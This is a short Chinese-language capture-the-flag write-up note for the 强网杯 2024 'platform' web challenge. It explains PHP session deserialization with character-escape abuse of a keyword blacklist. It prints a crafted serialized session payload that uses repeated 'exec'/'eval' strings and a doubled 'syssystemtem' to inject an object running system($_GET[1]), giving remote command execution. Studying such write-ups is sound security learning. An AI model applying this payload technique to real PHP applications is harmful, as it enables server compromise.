platfrom
大佬wp
https://blog.xmcve.com/2024/11/04/%E5%BC%BA%E7%BD%91%E6%9D%AF2024-Writeup/#title-8
https://blog.yemaster.cn/post/123#go-ax-header-4
这题的考点是session反序列化以及字符逃逸
session反序列化学习
https://arsenetang.github.io/2021/08/31/反序列化篇之session反序列化/
session反序列化首先需要有session_id的控制权,就是能修改该值,
而后存在反序列化漏洞,也就是可以用链子执行危险函数,或者说打印flag,
然后触发服务端session的读取,就是有session所在的页面,读取到我们存入的pop链,其会自动进行反序列化,然后就会触发我们的链子,链子这里就不构造了
接着是字符逃逸,借用大佬的笔记
在session_id的文件中我们的链子大概是这样
user|s:56:"我们输入的用户名";session_key|s:20:"随机生成的key";password|s:98:"这里是我们输入的密码";
我们希望session读取的是
user|s:56:"随便";session_key|s:20:"随机生成的key";password|s:98:"我们的链子";
那怎么实现呢,需要注意的是,源代码这里有黑名单会将危险函数替换成空,其中就有eval,system
大佬的链子
user|s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";
其中user的那一串 'execevalexecevalexecevalexecevalexecexecexecevalexeceval' 由黑名单函数组成的字符会被替换为空,而该字符的长度也不是随便的,而是精心计算的,替换为空后,56的字符长度依旧执行吞掉后面的56个字符,
";session_key|s:20:"12345678901234567890";password|s:98:
这里就成了无效的字符
替换后变成
user|s:56:"";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}password|s:1:"a";
注意: 这里的双写是绕过黑名单,被黑名单置换为空后就是正常的格式
然后在维持该session的页面传参1=ls就行了